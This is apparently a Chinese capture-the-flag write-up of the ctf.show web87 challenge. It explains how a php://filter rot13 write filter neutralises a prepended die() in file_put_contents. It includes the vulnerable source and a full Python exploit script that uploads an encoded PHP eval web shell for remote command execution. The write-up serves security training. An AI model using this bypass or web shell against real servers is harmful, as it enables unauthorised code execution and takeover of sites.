文件包含:伪协议加密绕过die函数
基础知识
rot13
编码:
即将字符化为ascii
🐎后,将其增加13,重新使用chr
化为字符,但是注意在实际编写代码的过程中别把超出范围的ascii
🐎也给记下来。
如下为简易的rot13
转码脚本1
2
3
4
5
6
7
8
9
10
11def rot_13(content):
new_content = []
for s in content:
if s.isalpha():
if s.islower():
new_content.append(chr((ord(s)-ord('a')+13)%26+ord('a')))
else:
new_content.append(chr((ord(s)-ord('A')+13)%26+ord('A')))
else:
new_content.append(s)
return "".join(new_content)请注意:
- rot13只对26个字母进行操作,不对其他字符进行操作
- 在实际编写脚本时,请注意,如
z
字符,加上13
后会导致ascii
码溢出,所以需要使用chr((ord(s)-ord('a')+13)%26+ord('a'))
防止ascii
码溢出。
关于
file_put_contents
函数补充:
若该函数未设置FILE_APPEND
标志,如下:1
file_put_contents($file,$contents);
则写入的内容会覆盖原内容,而非追加在原内容后。
关于
requests
库如何同时传参,可见我对requests
库专题讲解的一篇博客。
以web87为例
源码如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
if(isset($_GET['file'])){
$file = $_GET['file'];
$content = $_POST['content'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
$file = str_replace(":", "???", $file);
$file = str_replace(".", "???", $file);
file_put_contents(urldecode($file), "<?php die('大佬别秀了');?>".$content);
}else{
highlight_file(__FILE__);
}由于最后有
urldecode
指令,所以我们可以传入urlencode
的payload,payload被加密后,自然就可以绕过代码块中的过滤指令。重点是:如何绕过死亡代码
die()
呢?
我们提供使用伪协议加密绕过,在之前的web102
中提过,在file_put_contents
中的第一个参数,即文件传入路径写入协议,那么file_put_content
会将传入内容结果经过协议的操作(如不同的解密加密)再写入对应指定文件。
我们的思路就是,在传入文件路径的参数位置,传入php伪协议,(当然,这道题要传入url加密后的伪协议):
url解密后如下:1
php://filter/write=string.rot13/resource=1.php
该指令会使
die()
函数被加密,导致失效,而已经过rot13
加密后的$content
再经过rot13
处理后则会变为原可执行代码并被写入目标文件。
我们即可得到一个有可执行恶意代码的php文件供蚁剑连接。个人提供
rot13
解密绕过,关于base64
解密绕过,可见@Traveler2000
的博客:filter 伪协议绕过 die(Web87)
攻击脚本如下:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40import requests
url = "http://ad1b0a37-3b18-45ec-b12f-b49d15fb8c4b.challenge.ctf.show/"
file = "php://filter/write=string.rot13/resource=/var/www/html/1.php"
content = "<?php @eval($_POST['cmd']); ?>"
def url_encode(content):#url加密
new_content = []
for s in content:
e_s = "%" + hex(ord(s))[2:].zfill(2)#hex只可以处理整数,应该先使用ord转为整数再转为16进制字符串
new_content.append(e_s)
return "".join(new_content)
def rot_13(content):#rot13加密
new_content = []
for s in content:
if s.isalpha():
if s.islower():
new_content.append(chr((ord(s)-ord('a')+13)%26+ord('a')))
else:
new_content.append(chr((ord(s)-ord('A')+13)%26+ord('A')))
else:
new_content.append(s)
return "".join(new_content)
def main():
#将请求内容按需加密后放入字典中
file_processed = url_encode(file)
content_processed = rot_13(content)
params ={'file':file_processed}
data ={'content':content_processed}
#向原网页同时发送post和get请求
response = requests.post(url,params=params,data=data)
print({'status_code':response.status_code,})
print ({'response':response.text})
if __name__ == '__main__':
main()可先访问
http://example.com/1.php
确认该文件的存在,访问前端会发现,失效的die()
指令被回显
本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来源 Dedsec的博客!